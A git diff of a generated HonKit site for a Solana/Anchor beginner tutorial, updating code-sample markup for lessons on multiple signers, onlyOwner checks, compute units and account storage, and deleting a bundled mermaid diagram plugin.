          +#[derive(Accounts)] +pub struct Initialize<'info> { + #[account(mut)] + pub signer1: Signer<'info>, + pub signer2: Signer<'info>, // <<--- add a new signer here!! +} +

          anchor build and deploy:

          anchor build -p day_14
           anchor deploy -p day_14
          @@ -552,18 +550,18 @@ 

          Multiple Signers

          solana program extend J3h97qKEjawFyr7iypKL27kutnbkTkaCuwd4szvJPYdD 2000000
           

          update the testcase, with new test case.

          -
            it("should succeed to call multi signer!", async () => {
          -    let newKeypair = anchor.web3.Keypair.generate();
          -    console.log('New keypair: ', newKeypair.publicKey.toBase58());
          +
            it("should succeed to call multi signer!", async () => {
          +    let newKeypair = anchor.web3.Keypair.generate();
          +    console.log('New keypair: ', newKeypair.publicKey.toBase58());
           
          -    const tx = await program.methods.multipleSigner2().
          +    const tx = await program.methods.multipleSigner2().
                 accounts({
          -        signer1: program.provider.publicKey,
          -        signer2: newKeypair.publicKey,
          +        signer1: program.provider.publicKey,
          +        signer2: newKeypair.publicKey,
                 }).
                 signers([newKeypair]).rpc();
          -    console.log('Signer1: ', program.provider.publicKey.toBase58());
          -    console.log('Signer2: ', newKeypair.publicKey.toBase58());
          +    console.log('Signer1: ', program.provider.publicKey.toBase58());
          +    console.log('Signer2: ', newKeypair.publicKey.toBase58());
             })
           

          key note:

          @@ -579,60 +577,60 @@

          OnlyOwner

          This is the key feature in solidity, we use it to restrict a function's access to only the owner of the functions.

          in Solana, using #[access_control] attribute from Anchor, we can also implement the onlyOwner pattern.

          update the code, andd new function restrict_to_owner in mod day_14 and check outside the mod

          -
          use anchor_lang::prelude::*;
          +
          use anchor_lang::prelude::*;
           
          -declare_id!("J3h97qKEjawFyr7iypKL27kutnbkTkaCuwd4szvJPYdD");
          +declare_id!("J3h97qKEjawFyr7iypKL27kutnbkTkaCuwd4szvJPYdD");
           
          -// NOTE: Replace with you own address(Public key)
          -const OWNER: &str = "HjU6xSZme7ER6Qhk841nczwXijBZ9e1GWLqdPxW6gS9w";
          +// NOTE: Replace with you own address(Public key)
          +const OWNER: &str = "HjU6xSZme7ER6Qhk841nczwXijBZ9e1GWLqdPxW6gS9w";
           
          -#[program]
          -pub mod day_14 {
          -    use super::*;
          +#[program]
          +pub mod day_14 {
          +    use super::*;
           
          -        // The reset
          +        // The reset
           
          -    #[access_control(check(&ctx))]
          -    pub fn restrict_to_owner(ctx: Context) -> Result<()> {
          -        // Your logic here
          -        msg!("Hello, i'm the true king, arise!");
          -        Ok(())
          +    #[access_control(check(&ctx))]
          +    pub fn restrict_to_owner(ctx: Context<OnlyOwner>) -> Result<()> {
          +        // Your logic here
          +        msg!("Hello, i'm the true king, arise!");
          +        Ok(())
               }
           }
           
          -fn check(ctx: &Context) -> Result<()> {
          +fn check(ctx: &Context<OnlyOwner>) -> Result<()> {
               require_keys_eq!(
                   ctx.accounts.signer_account.key(),
          -        OWNER.parse::().unwrap(),
          +        OWNER.parse::<Pubkey>().unwrap(),
                   OnlyOwnerError::NotOwner
               );
          -    Ok(())
          +    Ok(())
           }
           
          -#[derive(Accounts)]
          -pub struct OnlyOwner<'info> {
          -    signer_account: Signer<'info>,
          +#[derive(Accounts)]
          +pub struct OnlyOwner<'info> {
          +    signer_account: Signer<'info>,
           }
           
          -#[error_code]
          -pub enum OnlyOwnerError {
          -    #[msg("Only owner can call this function")]
          +#[error_code]
          +pub enum OnlyOwnerError {
          +    #[msg("Only owner can call this function")]
               NotOwner,
           }
          -
          +

          as you can see, there is a macro #[access_control(check(&ctx))] above function: restrict_to_owner to verify the accessbility, the custom function: check defines the details, it will compare the signer and the OWNER we hardcoded above, and revert with a custom error code if mismatch.

          note: require_keys_eq is also a built-in macro by Anchor.

          Now we can Test

          add two more testcases, happy case and attack case each.

          -
            it("should succeed to call by owner!", async () => {
          +
            it("should succeed to call by owner!", async () => {
               const tx = await program.methods.restrictToOwner().accounts({
                 signerAccount: program.provider.publicKey,
               }).rpc();
             })
           
          -  it("should fail to call by non owner!", async () => {
          -    let newKeypair = anchor.web3.Keypair.generate();
          -    console.log('New keypair: ', newKeypair.publicKey.toBase58());
          +  it("should fail to call by non owner!", async () => {
          +    let newKeypair = anchor.web3.Keypair.generate();
          +    console.log('New keypair: ', newKeypair.publicKey.toBase58());
               const tx = await program.methods.restrictToOwner().accounts({
                 signerAccount: newKeypair.publicKey,
               }).signers([newKeypair]).rpc();
          @@ -683,7 +681,7 @@ 
               
           
          @@ -769,14 +767,6 @@ 
                   
               
                   
          -        
          -        
          -    
          -        
          -        
          -        
          -    
          -        
                   
                   
               
          diff --git a/en/solana_beginner/15_Txfee_Compute-unit/index.html b/en/solana_beginner/15_Txfee_Compute-unit/index.html
          index 882e1402..35f882fe 100644
          --- a/en/solana_beginner/15_Txfee_Compute-unit/index.html
          +++ b/en/solana_beginner/15_Txfee_Compute-unit/index.html
          @@ -36,10 +36,6 @@
                           
                       
                           
          -                
          -                
          -            
          -                
                           
                           
                       
          @@ -480,58 +476,58 @@ 

          Try it out

          anchor new day_15
           

          We can see this in action with this little example, start with an empty solana program like so:

          -
          use anchor_lang::prelude::*;
          +
          use anchor_lang::prelude::*;
           
          -declare_id!("7UsJTs46HiU3QzaHaH2eYWURXSYUZkUbWyt5m9kYyiMj");
          +declare_id!("7UsJTs46HiU3QzaHaH2eYWURXSYUZkUbWyt5m9kYyiMj");
           
          -#[program]
          -pub mod day_15 {
          -    use super::*;
          +#[program]
          +pub mod day_15 {
          +    use super::*;
           
          -    pub fn initialize(ctx: Context) -> Result<()> {
          -        Ok(())
          +    pub fn initialize(ctx: Context<Initialize>) -> Result<()> {
          +        Ok(())
               }
           }
           
          -#[derive(Accounts)]
          -pub struct Initialize {}
          -
          +#[derive(Accounts)] +pub struct Initialize {} +

          update the testcase to:

          -
          import * as anchor from "@coral-xyz/anchor";
          -import { Program } from "@coral-xyz/anchor";
          -import { Day15 } from '../target/types/day_15';
          +
          import * as anchor from "@coral-xyz/anchor";
          +import { Program } from "@coral-xyz/anchor";
          +import { Day15 } from '../target/types/day_15';
           
          -describe("day_15", () => {
          +describe("day_15", () => {
             anchor.setProvider(anchor.AnchorProvider.env());
          -  const program = anchor.workspace.Day15 as Program;
          +  const program = anchor.workspace.Day15 as Program<Day15>;
           
          -  // replace this with your own address by run cmd: `solana address`
          -  const localAddress = 'HjU6xSZme7ER6Qhk841nczwXijBZ9e1GWLqdPxW6gS9w'
          -  const defaultKeypair = new anchor.web3.PublicKey(localAddress)
          +  // replace this with your own address by run cmd: `solana address`
          +  const localAddress = 'HjU6xSZme7ER6Qhk841nczwXijBZ9e1GWLqdPxW6gS9w'
          +  const defaultKeypair = new anchor.web3.PublicKey(localAddress)
           
          -  it("should get compoute units!", async () => {
          -    let bal1 = await program.provider.connection.getBalance(defaultKeypair)
          -    console.log('before: ', bal1);
          +  it("should get compoute units!", async () => {
          +    let bal1 = await program.provider.connection.getBalance(defaultKeypair)
          +    console.log('before: ', bal1);
           
          -    let tx = await program.methods.initialize().rpc();
          -    let bal2 = await program.provider.connection.getBalance(defaultKeypair)
          -    console.log('after: ', bal2);
          -    console.log('diff: ', bal1 - bal2);
          +    let tx = await program.methods.initialize().rpc();
          +    let bal2 = await program.provider.connection.getBalance(defaultKeypair)
          +    console.log('after: ', bal2);
          +    console.log('diff: ', bal1 - bal2);
             })
           })
          -
          +

          result:

          image-20240820044717388

          the solana logs shows only 221 CUs are consumed, yet the diff is 5056 CU by comparsion the balance before and after.

          Let's add some complexity to our program and see what happens:

          -
              pub fn more_code(ctx: Context) -> Result<()> {
          -        let mut v = Vec::new();
          -        for i in 0..200 {
          +
              pub fn more_code(ctx: Context<Initialize>) -> Result<()> {
          +        let mut v = Vec::new();
          +        for i in 0..200 {
                       v.push(i);
                   }
          -        Ok(())
          +        Ok(())
               }
          -
          +

          and run again:

          image-20240820045624829

          We can see that this costs more compute units, almost 20 times our first example, but this doesn't not affect our transaction fees. This is expected and shows that truly, compute units do not affect the tx fees paid by users.

          @@ -546,56 +542,56 @@

          Reason For CU Optimization

          Smaller integers save CU

          The larger the value types used, the larger the CU consumed, so it's best to use smaller types where applicable.

          add this on top of day_15/src/lib.rs:

          -
          use solana_program::log::sol_log_compute_units;
          +
          use solana_program::log::sol_log_compute_units;
           

          add this in day_15/src/Cargo.toml:

          -
          [dependencies]
          -anchor-lang = "0.30.1"
          -solana-program = "2.0.5" # Make sure the version matches your Solana toolchain
          +
          [dependencies]
          +anchor-lang = "0.30.1"
          +solana-program = "2.0.5" # Make sure the version matches your Solana toolchain
           

          update the code:

          -
              pub fn save_units(ctx: Context) -> Result<()> {
          -        // Measure compute units before any operations
          +
              pub fn save_units(ctx: Context<Initialize>) -> Result<()> {
          +        // Measure compute units before any operations
                   sol_log_compute_units();
           
          -        let mut v1 = Vec::new();
          -        for i in 0..10 {
          +        let mut v1 = Vec::new();
          +        for i in 0..10 {
                       v1.push(i);
                   }
          -        // Measure compute units after creating v1
          +        // Measure compute units after creating v1
                   sol_log_compute_units();
           
          -        let mut v2: Vec = Vec::new();
          -        for i in 0..10 {
          +        let mut v2: Vec<u64> = Vec::new();
          +        for i in 0..10 {
                       v2.push(i);
                   }
          -        // Measure compute units after creating v2
          +        // Measure compute units after creating v2
                   sol_log_compute_units();
           
          -        let mut v3: Vec = Vec::new();
          -        for i in 0..10 {
          +        let mut v3: Vec<i32> = Vec::new();
          +        for i in 0..10 {
                       v3.push(i);
                   }
          -        // Measure compute units after creating v3
          +        // Measure compute units after creating v3
                   sol_log_compute_units();
           
          -        let mut v4: Vec = Vec::new();
          -        for i in 0..10 {
          +        let mut v4: Vec<i64> = Vec::new();
          +        for i in 0..10 {
                       v4.push(i);
                   }
          -        // Measure compute units after creating v3
          +        // Measure compute units after creating v3
                   sol_log_compute_units();
           
          -        let mut v5: Vec = Vec::new();
          -        for i in 0..10 {
          +        let mut v5: Vec<u8> = Vec::new();
          +        for i in 0..10 {
                       v5.push(i);
                   }
          -        // Measure compute units after creating v3
          +        // Measure compute units after creating v3
                   sol_log_compute_units();
           
          -        Ok(())
          +        Ok(())
               }
          -
          +

          run test case:

          image-20240820054437838

          it is showed as expected, the larger value types used, the more CU costed.

          @@ -641,7 +637,7 @@ @@ -727,14 +723,6 @@ - - - - - - - - diff --git a/en/solana_beginner/16_Accounts_Overview/assets/evm-state-root.jpg b/en/solana_beginner/16_Accounts_Overview/assets/evm-state-root.jpg new file mode 100644 index 00000000..c1e0e906 Binary files /dev/null and b/en/solana_beginner/16_Accounts_Overview/assets/evm-state-root.jpg differ diff --git a/en/solana_beginner/16_Accounts_Overview/index.html b/en/solana_beginner/16_Accounts_Overview/index.html index 5a83b07b..98fa4a2c 100644 --- a/en/solana_beginner/16_Accounts_Overview/index.html +++ b/en/solana_beginner/16_Accounts_Overview/index.html @@ -36,10 +36,6 @@ - - - - @@ -458,24 +454,24 @@

          Accounts Overview

          Firstly, both ethereum and solana store data in the pattern of key-value.

          Storage slots in Ethereum are effectively a massive key-value store:

          {
          -  key: [smart_contract, storage solt] // 32 bytes, solts up to: 2^256
          -  value: 32_byte_slot // 32 bytes storage for each key
          +  key: [smart_contract, storage solt] // 32 bytes, solts up to: 2^256
          +  value: 32_byte_slot // 32 bytes storage for each key
           }
           

          for example:

          contract Example {
          -    uint256 public var1; // Stored in slot 0
          -    uint256 public var2; // Stored in slot 1
          +    uint256 public var1; // Stored in slot 0
          +    uint256 public var2; // Stored in slot 1
           }
           

          Solana's model is similar, it's a massive key-value store where the "key" is a base58 encoded address and the value is a data blob that can be up to 10MB large(or optionaly hold nothing).It can be visualized as follows:

          {
          -        // key is a base58 encoded 32 byte sequence
          -    key: ETnqC8mvPRyUVXyXoph22EQ1GS5sTs1zndkn5eGMYWfs
          -    value: {
          -            data: 020000006ad1897139ac2bdb67a3c66a...
          -            // other fields are omitted
          -        }
          +    // key is a base58 encoded 32 byte sequence
          +    key: ETnqC8mvPRyUVXyXoph22EQ1GS5sTs1zndkn5eGMYWfs
          +    value: {
          +    data: 020000006ad1897139ac2bdb67a3c66a...
          +    // other fields are omitted
          +    }
           }
           

          How does ethereum store

          @@ -485,79 +481,81 @@

          How does ethereum store

        8. store in another sc: this is so call exotic design pattern, this will need us to deploy a dedicated sc used to store data only, and be interacted with the main sc by using: SSTORE2 or SSTORE3, it's gas efficient yet need more advance techniques.
        9. Here is a example: storate.sol:

          -
          // SPDX-License-Identifier: MIT
          -pragma solidity ^0.8.0;
          +
          // SPDX-License-Identifier: MIT
          +pragma solidity ^0.8.0;
           
           contract DataStorage {
          -    // The data is stored in the contract's bytecode
          -    constructor(bytes memory _data) {
          +    // The data is stored in the contract's bytecode
          +    constructor(bytes memory _data) {
                   assembly {
          -            return(add(0x20, _data), mload(_data))
          +            return(add(0x20, _data), mload(_data))
                   }
               }
           }
           

          main.sol

          -
          // SPDX-License-Identifier: MIT
          -pragma solidity ^0.8.0;
          +
          // SPDX-License-Identifier: MIT
          +pragma solidity ^0.8.0;
           
           contract MainContract {
               address public dataStorageAddress;
           
          -    function storeData(bytes memory data) external {
          -        // Deploy the DataStorage contract with the data embedded in the bytecode
          +    function storeData(bytes memory data) external {
          +        // Deploy the DataStorage contract with the data embedded in the bytecode
                   address newDataStorage;
                   assembly {
          -            newDataStorage := create(0, add(data, 0x20), mload(data))
          +            newDataStorage := create(0, add(data, 0x20), mload(data))
                   }
           
          -        // Save the address of the deployed contract
          +        // Save the address of the deployed contract
                   dataStorageAddress = newDataStorage;
               }
           
          -    function retrieveData() external view returns (bytes memory) {
          +    function retrieveData() external view returns (bytes memory) {
                   uint256 size;
                   bytes memory retrievedData;
           
          -        // Get the size of the bytecode at the dataStorageAddress
          +        // Get the size of the bytecode at the dataStorageAddress
                   assembly {
          -            size := extcodesize(dataStorageAddress)
          +            size := extcodesize(dataStorageAddress)
                   }
           
          -        // Copy the bytecode into memory
          -        retrievedData = new bytes(size);
          +        // Copy the bytecode into memory
          +        retrievedData = new bytes(size);
                   assembly {
          -            extcodecopy(dataStorageAddress, add(retrievedData, 0x20), 0, size)
          +            extcodecopy(dataStorageAddress, add(retrievedData, 0x20), 0, size)
                   }
           
          -        return retrievedData;
          +        return retrievedData;
               }
           }
           

          Below illustrates the basic Account Model of Ethereum:

          -
          graph TD +

          evm-state-root

          +

          (mermaid source code below)

          +
           graph TD
                A[Block Header] --> B[State Root]
          -     B --> C["Global State Trie - Merkle Patricia Trie Root"]
          +     B --> C["Global State Trie - Merkle Patricia Trie Root"]
           
                %% Account A (Smart Contract)
                C --> D[Account A]
                D --> E[Nonce: 5]
                D --> F[Balance: 10 ETH]
          -     D --> G["Storage Root: 0xghi789..."]
          -     D --> H["Code Hash: 0xdef456..."]
          +     D --> G["Storage Root: 0xghi789..."]
          +     D --> H["Code Hash: 0xdef456..."]
           
          -     %% Storage Trie for Account A
          -     G --> I["Storage Trie Root: 0xghi789..."]
          -     I --> J["Key 1: Value 1"]
          -     I --> K["Key 2: Value 2"]
          +     %% Storage Trie for Account A
          +     G --> I["Storage Trie Root: 0xghi789..."]
          +     I --> J["Key 1: Value 1"]
          +     I --> K["Key 2: Value 2"]
           
                %% Account B (EOA)
                C --> L[Account B EOA]
                L --> M[Nonce: 3]
                L --> N[Balance: 20 ETH]
          -     L --> O["Storage Root: N/A"]
          -     L --> P["Code Hash: N/A"]
          -
          + L --> O["Storage Root: N/A"] + L --> P["Code Hash: N/A"] +
          • Account A is a sc, it's data sotres under hash: 0xghi789...
          • Account B is a EOA, no storage at all.
          • @@ -577,7 +575,7 @@

            A basic storage example

            MyStorage public myStorage; - function set(uint64 _x) external { + function set(uint64 _x) external { myStorage.x = _x; } } @@ -590,36 +588,36 @@

            Account initialization

            anchor new day_16
             

            regarding to the basic storage code above, here is how it looks like in solana: (day_16/src/lib.rs)

            -
            use anchor_lang::prelude::*;
            -use std::mem::size_of;
            +
            use anchor_lang::prelude::*;
            +use std::mem::size_of;
             
            -declare_id!("niq5Lmo2UCX49tKiWWMGCijNtZGwRHPCfs3EdesJhYQ");
            +declare_id!("niq5Lmo2UCX49tKiWWMGCijNtZGwRHPCfs3EdesJhYQ");
             
            -#[program]
            -pub mod day_16 {
            -    use super::*;
            +#[program]
            +pub mod day_16 {
            +    use super::*;
             
            -    pub fn initialize(ctx: Context) -> Result<()> {
            -        Ok(())
            +    pub fn initialize(ctx: Context<Initialize>) -> Result<()> {
            +        Ok(())
                 }
             }
             
            -#[derive(Accounts)]
            -pub struct Initialize<'info> {
            -    #[account(init, payer=signer, space=size_of::()+8,seeds=[], bump)]
            -    pub my_storage_account: Account<'info, mystorage>,
            +#[derive(Accounts)]
            +pub struct Initialize<'info> {
            +    #[account(init, payer=signer, space=size_of::<MyStorage>()+8,seeds=[], bump)]
            +    pub my_storage_account: Account<'info, MyStorage>,
             
            -    #[account(mut)]
            -    pub signer: Signer<'info>,
            +    #[account(mut)]
            +    pub signer: Signer<'info>,
             
            -    pub system_program: Program<'info, system>,
            +    pub system_program: Program<'info, System>,
             }
             
            -#[account]
            -pub struct MyStorage {
            -    x: u64,
            +#[account]
            +pub struct MyStorage {
            +    x: u64,
             }
            -
            +

            we add three variables to the Initialize struct, let go through them one-by-one:

            image-20240823191001722

              @@ -637,26 +635,26 @@

              Account initialization

              image-20240823190640633

              under the hood, this is a byte sequence and store in the data field. Solana doesn't force us to use struct to use Solana accounts, but this is the convention, we don't have any reason don't use.

              Test Initialization

              -
              import * as anchor from "@coral-xyz/anchor";
              -import { Program } from "@coral-xyz/anchor";
              -import { Day16 } from '../target/types/day_16';
              +
              import * as anchor from "@coral-xyz/anchor";
              +import { Program } from "@coral-xyz/anchor";
              +import { Day16 } from '../target/types/day_16';
               
              -describe("day_16", () => {
              +describe("day_16", () => {
                 anchor.setProvider(anchor.AnchorProvider.env());
              -  const program = anchor.workspace.Day16 as Program;
              +  const program = anchor.workspace.Day16 as Program<Day16>;
               
              -  it("should initialized!", async () => {
              -    const seeds = []
              -    const [myStorage, _bump] = anchor.web3.PublicKey.findProgramAddressSync(seeds, program.programId);
              -    console.log('myStorage account raw: ', myStorage);
              -    console.log('myStorage account: ', myStorage.toBase58());
              +  it("should initialized!", async () => {
              +    const seeds = []
              +    const [myStorage, _bump] = anchor.web3.PublicKey.findProgramAddressSync(seeds, program.programId);
              +    console.log('myStorage account raw: ', myStorage);
              +    console.log('myStorage account: ', myStorage.toBase58());
               
              -    await program.methods.initialize().accounts({
              -      myStorageAccount: myStorage
              +    await program.methods.initialize().accounts({
              +      myStorageAccount: myStorage
                   }).rpc();
                 })
               })
              -
              +

              result:

              image-20240823192143299

              Solana requires us to specify in advance the accounts a transaction will interact with, that's why we compute the address of the account that stores MyStorage struct in the test code.

              @@ -719,7 +717,7 @@ @@ -805,14 +803,6 @@ - - - - - - - - diff --git a/en/solana_beginner/17_Storage/index.html b/en/solana_beginner/17_Storage/index.html index f642b754..ec749491 100644 --- a/en/solana_beginner/17_Storage/index.html +++ b/en/solana_beginner/17_Storage/index.html @@ -36,10 +36,6 @@ - - - - @@ -480,7 +476,7 @@

              @@ -566,14 +562,6 @@

              - - - - - - - - diff --git a/en/solana_beginner/18_Reading_Accounts/index.html b/en/solana_beginner/18_Reading_Accounts/index.html index f3fcd036..48e49379 100644 --- a/en/solana_beginner/18_Reading_Accounts/index.html +++ b/en/solana_beginner/18_Reading_Accounts/index.html @@ -36,10 +36,6 @@ - - - - @@ -480,7 +476,7 @@

              @@ -566,14 +562,6 @@

              - - - - - - - - diff --git a/en/solana_beginner/19_Mappings/index.html b/en/solana_beginner/19_Mappings/index.html index d0519307..893637e0 100644 --- a/en/solana_beginner/19_Mappings/index.html +++ b/en/solana_beginner/19_Mappings/index.html @@ -36,10 +36,6 @@ - - - - @@ -480,7 +476,7 @@

              @@ -566,14 +562,6 @@

              - - - - - - - - diff --git a/en/solana_beginner/20_Storage_Advance/index.html b/en/solana_beginner/20_Storage_Advance/index.html index 478fb5ca..8d7359d2 100644 --- a/en/solana_beginner/20_Storage_Advance/index.html +++ b/en/solana_beginner/20_Storage_Advance/index.html @@ -36,10 +36,6 @@ - - - - @@ -474,7 +470,7 @@

              @@ -560,14 +556,6 @@

              - - - - - - - - diff --git a/gitbook/honkit-plugin-mermaid/mermaid-load.js b/gitbook/honkit-plugin-mermaid/mermaid-load.js deleted file mode 100644 index fd21aa29..00000000 --- a/gitbook/honkit-plugin-mermaid/mermaid-load.js +++ /dev/null @@ -1,34 +0,0 @@ -require([ - 'gitbook', - 'jquery' -], function (gitbook, $) { - $(document).ready(function () { - mermaid.initialize({startOnLoad: false}) - }) - gitbook.events.bind('page.change', function () { - $(".mermaid").each(function (i, e) { - const div = $(e); - if (div.find('svg').length > 0) return; - const html = div.html(); - console.log(html) - const def = html.replace(/>/g, '>').replace(/</g, '<') - div.html(render(def)); - }); - }) - - const render = function (def) { - const id = 'mermaid_' + randomString(20); - const element = document.createElement('dev'); - element.id = id - element.hidden = true - return mermaid.mermaidAPI.render(id, def); - } - - const randomString = function (length) { - var str = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; - var result = ''; - for (var i = length; i > 0; --i) - result += str[Math.floor(Math.random() * str.length)]; - return result; - } -}); diff --git a/gitbook/honkit-plugin-mermaid/mermaid.css b/gitbook/honkit-plugin-mermaid/mermaid.css deleted file mode 100644 index eb66f0bb..00000000 --- a/gitbook/honkit-plugin-mermaid/mermaid.css +++ /dev/null @@ -1,351 +0,0 @@ -/* Flowchart variables */ -/* Sequence Diagram variables */ -/* Gantt chart variables */ -.mermaid .label { - color: #333; -} -.node rect, -.node circle, -.node ellipse, -.node polygon { - fill: #ECECFF; - stroke: #CCCCFF; - stroke-width: 1px; -} -.arrowheadPath { - fill: #333333; -} -.edgePath .path { - stroke: #333333; -} -.edgeLabel { - background-color: #e8e8e8; -} -.cluster rect { - fill: #ffffde !important; - rx: 4 !important; - stroke: #aaaa33 !important; - stroke-width: 1px !important; -} -.cluster text { - fill: #333; -} -.actor { - stroke: #CCCCFF; - fill: #ECECFF; -} -text.actor { - fill: black; - stroke: none; -} -.actor-line { - stroke: grey; -} -.messageLine0 { - stroke-width: 1.5; - stroke-dasharray: "2 2"; - marker-end: "url(#arrowhead)"; - stroke: #333; -} -.messageLine1 { - stroke-width: 1.5; - stroke-dasharray: "2 2"; - stroke: #333; -} -#arrowhead { - fill: #333; -} -#crosshead path { - fill: #333 !important; - stroke: #333 !important; -} -.messageText { - fill: #333; - stroke: none; -} -.labelBox { - stroke: #CCCCFF; - fill: #ECECFF; -} -.labelText { - fill: black; - stroke: none; -} -.loopText { - fill: black; - stroke: none; -} -.loopLine { - stroke-width: 2; - stroke-dasharray: "2 2"; - marker-end: "url(#arrowhead)"; - stroke: #CCCCFF; -} -.note { - stroke: #aaaa33; - fill: #fff5ad; -} -.noteText { - fill: black; - stroke: none; - font-family: 'trebuchet ms', verdana, arial; - font-size: 14px; -} -/** Section styling */ -.section { - stroke: none; - opacity: 0.2; -} -.section0 { - fill: rgba(102, 102, 255, 0.49); -} -.section2 { - fill: #fff400; -} -.section1, -.section3 { - fill: white; - opacity: 0.2; -} -.sectionTitle0 { - fill: #333; -} -.sectionTitle1 { - fill: #333; -} -.sectionTitle2 { - fill: #333; -} -.sectionTitle3 { - fill: #333; -} -.sectionTitle { - text-anchor: start; - font-size: 11px; - text-height: 14px; -} -/* Grid and axis */ -.grid .tick { - stroke: lightgrey; - opacity: 0.3; - shape-rendering: crispEdges; -} -.grid path { - stroke-width: 0; -} -/* Today line */ -.today { - fill: none; - stroke: red; - stroke-width: 2px; -} -/* Task styling */ -/* Default task */ -.task { - stroke-width: 2; -} -.taskText { - text-anchor: middle; - font-size: 11px; -} -.taskTextOutsideRight { - fill: black; - text-anchor: start; - font-size: 11px; -} -.taskTextOutsideLeft { - fill: black; - text-anchor: end; - font-size: 11px; -} -/* Specific task settings for the sections*/ -.taskText0, -.taskText1, -.taskText2, -.taskText3 { - fill: white; -} -.task0, -.task1, -.task2, -.task3 { - fill: #8a90dd; - stroke: #534fbc; -} -.taskTextOutside0, -.taskTextOutside2 { - fill: black; -} -.taskTextOutside1, -.taskTextOutside3 { - fill: black; -} -/* Active task */ -.active0, -.active1, -.active2, -.active3 { - fill: #bfc7ff; - stroke: #534fbc; -} -.activeText0, -.activeText1, -.activeText2, -.activeText3 { - fill: black !important; -} -/* Completed task */ -.done0, -.done1, -.done2, -.done3 { - stroke: grey; - fill: lightgrey; - stroke-width: 2; -} -.doneText0, -.doneText1, -.doneText2, -.doneText3 { - fill: black !important; -} -/* Tasks on the critical line */ -.crit0, -.crit1, -.crit2, -.crit3 { - stroke: #ff8888; - fill: red; - stroke-width: 2; -} -.activeCrit0, -.activeCrit1, -.activeCrit2, -.activeCrit3 { - stroke: #ff8888; - fill: #bfc7ff; - stroke-width: 2; -} -.doneCrit0, -.doneCrit1, -.doneCrit2, -.doneCrit3 { - stroke: #ff8888; - fill: lightgrey; - stroke-width: 2; - cursor: pointer; - shape-rendering: crispEdges; -} -.doneCritText0, -.doneCritText1, -.doneCritText2, -.doneCritText3 { - fill: black !important; -} -.activeCritText0, -.activeCritText1, -.activeCritText2, -.activeCritText3 { - fill: black !important; -} -.titleText { - text-anchor: middle; - font-size: 18px; - fill: black; -} -g.classGroup text { - fill: #9370DB; - stroke: none; - font-family: 'trebuchet ms', verdana, arial; - font-size: 10px; -} -g.classGroup rect { - fill: #ECECFF; - stroke: #9370DB; -} -g.classGroup line { - stroke: #9370DB; - stroke-width: 1; -} -svg .classLabel .box { - stroke: none; - stroke-width: 0; - fill: #ECECFF; - opacity: 0.5; -} -svg .classLabel .label { - fill: #9370DB; - font-size: 10px; -} -.relation { - stroke: #9370DB; - stroke-width: 1; - fill: none; -} -.composition { - fill: #9370DB; - stroke: #9370DB; - stroke-width: 1; -} -#compositionStart { - fill: #9370DB; - stroke: #9370DB; - stroke-width: 1; -} -#compositionEnd { - fill: #9370DB; - stroke: #9370DB; - stroke-width: 1; -} -.aggregation { - fill: #ECECFF; - stroke: #9370DB; - stroke-width: 1; -} -#aggregationStart { - fill: #ECECFF; - stroke: #9370DB; - stroke-width: 1; -} -#aggregationEnd { - fill: #ECECFF; - stroke: #9370DB; - stroke-width: 1; -} -#dependencyStart { - fill: #9370DB; - stroke: #9370DB; - stroke-width: 1; -} -#dependencyEnd { - fill: #9370DB; - stroke: #9370DB; - stroke-width: 1; -} -#extensionStart { - fill: #9370DB; - stroke: #9370DB; - stroke-width: 1; -} -#extensionEnd { - fill: #9370DB; - stroke: #9370DB; - stroke-width: 1; -} -.node text { - font-family: 'trebuchet ms', verdana, arial; - font-size: 14px; -} -div.mermaidTooltip { - position: absolute; - text-align: center; - max-width: 200px; - padding: 2px; - font-family: 'trebuchet ms', verdana, arial; - font-size: 12px; - background: #ffffde; - border: 1px solid #aaaa33; - border-radius: 2px; - pointer-events: none; - z-index: 100; -} diff --git a/gitbook/honkit-plugin-mermaid/mermaid.min.js b/gitbook/honkit-plugin-mermaid/mermaid.min.js deleted file mode 100644 index 8d782e5b..00000000 --- a/gitbook/honkit-plugin-mermaid/mermaid.min.js +++ /dev/null @@ -1,34 +0,0 @@ -!function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define([],e):"object"==typeof exports?exports.mermaid=e():t.mermaid=e()}("undefined"!=typeof self?self:this,(function(){return function(t){var e={};function n(r){if(e[r])return e[r].exports;var i=e[r]={i:r,l:!1,exports:{}};return t[r].call(i.exports,i,i.exports,n),i.l=!0,i.exports}return n.m=t,n.c=e,n.d=function(t,e,r){n.o(t,e)||Object.defineProperty(t,e,{enumerable:!0,get:r})},n.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},n.t=function(t,e){if(1&e&&(t=n(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var i in t)n.d(r,i,function(e){return t[e]}.bind(null,i));return r},n.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return n.d(e,"a",e),e},n.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},n.p="",n(n.s=545)}([function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),function(t){for(var n in t)e.hasOwnProperty(n)||(e[n]=t[n])}(n(325))},function(t,e,n){(function(t,r){var i=function(){var t=function(t,e,n,r){for(n=n||{},r=t.length;r--;n[t[r]]=e);return 